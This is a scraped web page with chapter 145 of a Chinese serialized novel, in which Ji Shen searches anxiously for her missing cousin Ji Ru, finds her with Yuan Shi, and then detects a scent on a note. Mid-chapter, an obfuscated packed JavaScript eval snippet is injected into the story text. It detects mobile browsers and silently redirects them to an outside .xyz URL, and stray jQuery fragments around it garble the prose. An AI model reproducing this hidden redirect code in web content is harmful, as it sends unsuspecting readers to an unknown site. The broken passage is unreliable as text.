145. 失踪

作品:《小报探官札记

    无论真相如何,明面上毒害圣后的凶手已伏诛,经此一事,圣后大约认为陈氿和纪莘已证明了立场,是以没有再留纪莘在神龙殿,恩准了纪莘出宫回宣国公府。


    纪莘回到国公府的第一件事,便是去见纪茹,不想纪茹已经离开国公府,只给纪莘留了一封书信,称她回了昭行坊,去丁家暂住。


    纪莘拿着信正要出门找人,家令迎面而来,看样子是特地来找她。


    “夫人,国公有请。”家令道。


    “好。”纪莘随家令去见孟淮,边走边问,“家令可知我堂姊是哪日离府的?”


    “自夫人入宫后,纪娘子多次问起夫人何时能归,奴无法回答,纪娘子大抵是独自在府中有些无趣,所以四日前留了书信,搬回了之前的住处。”


    在纪茹留下的信里,纪茹的说法也是她一个人在国公府无所事事,还不如去丁家和丁小禾做伴,看来纪茹确实是自己决定离开的,这也符合她的性子。


    左右陈氿已警告过袁夫人,袁夫人不会再雇人去昭行坊找麻烦,纪茹回去之后安全无虞,也比在国公府自在,如此也好。


    等见过宣国公,就去丁家看阿茹好了。


    纪莘如是想着,走到了孟淮书房。


    孟淮开门见山:“我打算半月之后在府里办一场烧尾宴,你来负责宴席筹备吧。”


    “国公办此宴席,是为庆贺夫君升为左万骑果毅?”


    “自然。”


    陈氿被推到风口浪尖,此时不宜太过张扬,纪莘不确定孟淮因何生出这个主意,但着实不觉得应该大肆庆祝,故而推脱道:“官员逢官位升迁,依例是该向圣人进宴,并邀亲朋同僚共同庆贺,但圣人勤于政事,又刚刚完成祭祀归来,想来定积攒了不少急于处理的要事,恐怕无暇赏光参加宴席,所以,这宴席就不必办了吧?”


    “圣人本就并非次次都会赏脸出席烧尾宴,先例甚多,无妨。纵然圣人无暇赏光,但烧尾宴必须照办,如此方能体现皇恩浩荡,我等铭感五内。”


    纪莘碰了个软钉子,只得继续找理由,“先前圣后殿下中毒,凤体有损,夫君身为圣后殿下晚辈,此时广邀宾客庆祝升迁,恐有不妥。”


    孟淮油盐不进,反倒是冷笑一声,“有人妄图阻碍孟氏前程,越是在这样的时候,越要让人好好看看我孟氏的排场和气魄。你若无意负责筹备此宴,我可以命其他人去办。”


    看来孟淮非办烧尾宴不可,那么与其交给其他人筹备,陷她和陈氿于被动,还不如由她自己来掌握分寸,纪莘无法,回道:“请国公放心,我会好生筹备烧尾宴。”


    从书房出来,趁着天还亮,纪莘出了国公府,去往昭行坊丁家。


    堂屋内,丁大叔和丁小禾在专注刻版,打下手的丁小苗听到门口的脚步声,抬头看清来人后,立刻惊喜地叫:“阿莘阿姊,你来啦,好久没有见到你啦!”


    丁小禾放下手中刻刀,走向门口迎纪莘,“阿莘,你从宫里回来了?”


    纪莘点点头,问:“阿茹给我留了信,说她来了这里,怎么没看到她?”


    丁小禾一边给纪莘倒水,一边回道:“阿茹说天气暖了,城外河中的鱼虾定然多了,所以她出城捞鱼虾去了。可惜这几日活计多,我和小苗都要帮阿耶刻版,不能陪阿茹一起出城。”


    “她何时出门的?”


    丁小禾仰头看看天,“用过午食之后就出去了,应该快回来了。阿莘,坐,你在这安心等着就是了。”


    纪茹爱玩好动,经常出城摘果子、采野菜、捞鱼虾,是以纪莘听丁小禾如此讲,并没有担心,只留在丁家,一边同丁家三口闲聊,一边等待纪茹回来。


    可是,直到天色转黑,纪莘依然没有等到纪茹。


    纪茹固然不时独自出门玩耍,但这是第一次她这么晚还不回来。


    纪莘隐隐开始担心,站起身道:“我出去看看阿茹有没有回来。”


    丁小禾看出纪莘不安,也站了起来,“我也去吧,我们分头找找,这样能快些。”


    丁大叔推推丁小苗,“小苗,你也一起去。阿莘,别担心,不会有事的啊。”


    纪莘出了丁家,和丁小禾、丁小苗分别往东、西坊门的方向,沿着坊道向外一路寻人,尚未能找到纪茹,却遇到了一个意想不到的人。


    桓晋手上捏着一张纸,在坊道上边走边四处张望,蓦然看到纪莘站在前方,不由得停下了脚步。


    纪莘和桓晋都没有料到会见到对方,心中却同时生出了些许不好的预感,一时之间都不知道该如何开口。


    最终桓晋先打破了沉默,“夫人有亲友在昭行坊?”


    纪莘直觉桓晋问得古怪,斟酌着回问道:“校书郎为何问的是我是否有亲友在此,而不是我是否住在此处?”


    “夫人成婚之时,我虽未亲眼来瞧一瞧热闹,但也听说了夫人来自昭行坊,所以不必问也知道夫人曾经住在此处。至于现在,夫人已嫁入宣国公府,却出入于昭行坊,想来应当是还有亲友在此。我见过夫人的那位亲友,对吗?”


    桓晋如此试探,纪莘听得出,桓晋已猜到她的“亲友”是纪茹,纪莘心中的担忧不禁越来越重。


    桓晋不可能无缘无故地突然猜到她和纪茹有关系,他出现在昭行坊,又问起纪茹,恐怕是因为另一人。


    袁适。


    纪莘实在是怕纪茹的失踪与袁适有关,不再兜圈子,直接问道:“校书郎来此是为了找袁郎君吗,他也不见了?”


    “也不见了?”桓晋顿感不妙,抬手将手中之物递给纪莘,“逢安前些日子突然和家中起了冲突,来到我家借住,我不知他因何闹到要离家出走,但应允了他可以想住多久就住多久。可是他今日一早出门后便没再回来,我散值归家才看到他留下的笺纸。我不确定他笺纸中所言是何意,但这段日子他郁郁寡欢,我无法不担忧,所以出来寻人。眼下看来,他今日突然离开,恐怕是与那位纪娘子有关了。”


    “‘吾欲寻找真相,不知何时能归,怀初不必等我。’”纪莘念完笺纸上的短短两行字,心跳得越来越快,不得不按住胸口,逼迫自己保持镇定,“他定是来找阿茹了,阿茹今日出门之后也没再回家,一定是被袁适带走了。你是如何找到昭行坊的,袁适会去哪里,你知不知道?”


    桓晋心中有诸多不解,但清楚此时找人更要紧,于是道:“逢安与家中闹翻,出门只能租赁马车,我找到今日送他的车夫,所以知道了他今日来过昭行坊。夫人,先莫慌,我们出坊问问这附近的车夫,一定可以打听到他们的去向。”


    “好。”


    纪莘努力压下不安,和桓晋一起到坊门外车夫聚集之处打听,连问多人无果之后,纪莘脑海里不受控制地闪过无数糟糕的念头,耳畔嗡嗡作响,眼前一阵阵发黑,不得不借坊墙支撑身体。


    袁适想要真相,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638870|154039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可真相于他而言太不堪,天知道他会不会一时之间情绪失控,做出对纪茹不利的事。


    纪莘不敢再想下去,一只手撑住坊墙,大口大口地急促呼吸。


    “夫人!”在纪莘成婚之后的为数不多的几次见面中,桓晋一直克制,唯恐自己会有逾矩之举,但是此刻见到纪莘如此,桓晋再顾不得守礼,一只手扶住纪莘肩膀,一只手轻拍纪莘后背,“好些了吗?”


    恰在此时,不远处传来纪茹的声音,“阿莘?”


    纪莘疾步跑到纪茹面前,上下左右地将纪茹全身检查了一遍,“你去哪里了?”不用纪茹回答,纪莘在问完之后,看到另一人从纪茹身后的一驾马车内走下,怒火冲天地走到袁适面前,“袁适,阿茹此前欺骗、利用你,我承认我们对你有亏欠,但令堂无视律法,纵火烧宅,意图草菅人命,我们没有追究,如此也该扯平了!你今日强行带走阿茹,究竟想做什么!”


    “阿莘,我没事!”纪茹小跑到纪莘身边,拉住纪莘手臂,“我是自愿和他走的,他找我只是想问清过去的一切,我也已经和他说清楚了,没事了。”


    纪莘将信将疑,“当真?”


    “当真。”纪茹用力点头,将纪莘往坊门的方向拽,“天已经晚了,我们回家吧。”


    纪茹如此说,纪莘不好再追究,随着纪茹一起返回丁家。


    袁适一日之间知晓了太多,心中五味杂陈,定定地盯着纪茹背影看了许久,收回目光时,却见桓晋也在看着纪莘和纪茹离开的方向出神,陡然明白了几分,“怀初,你……”


    桓晋撤回视线,对袁适道:“我们也回去吧。”


    回到丁家,纪莘和丁家三口报了平安之后,拉着纪茹进到房间,细细问起今日发生的事。


    纪茹道:“袁适在家中无意间知道了袁夫人买凶放火的事,也就知道了我此前是假死,且如今人在昭行坊。他和袁夫人大吵一架,搬出袁家之后,便开始隔三差五地来昭行坊,想要找到我,问清楚我为何要欺骗他。我昨日发现他在坊内,所以今日故意出门,想同他说清一切。总归我是欠了他的,他既想要真相,我给他就是了。不过阿姊你放心,我只同他讲了你前世的遭遇,以及我为何要接近他,我没有让他知道你重生的事。”


    纪莘还是忍不住担心,“他当真只是想要一个说法,他有没有什么失控过激的行为,有没有想要伤害你?”


    纪茹眼神放空,神情怅然,“他原本有些愤怒,可是听我讲完之后,他好像也不知道该用什么样的情绪面对我,所以便送我回来了。他什么都没有做,他大约还没有想明白自己究竟想要什么,等他想明白就好了。”


    纪莘心中唏嘘,轻轻地叹了一口气,一小团皱巴巴的纸随着纪莘无意识的动作滚落在地,纪莘被声音打断纷乱的思绪,弯腰去捡地上的纸。


    纪莘这才想起,方才她太过心焦,没有将笺纸还给桓晋,而是揉成一团,胡乱塞进了袖中。


    纪茹看向纪莘手中纸团,“这是哪来的?”


    “袁适今日来找你,给桓晋留了这张笺纸,桓晋看到笺纸,担心出事,所以找了过来。”


    纪莘将笺纸展开,递给纪茹,忽然闻到笺纸上若有似无的气味,立刻把笺纸从纪茹手上抽回,送到鼻子下方仔细辨别。


    虽然笺纸上的气味很淡,但纪莘近来闻过太多次这个味道,所以还是闻了出来。


    是安珀香。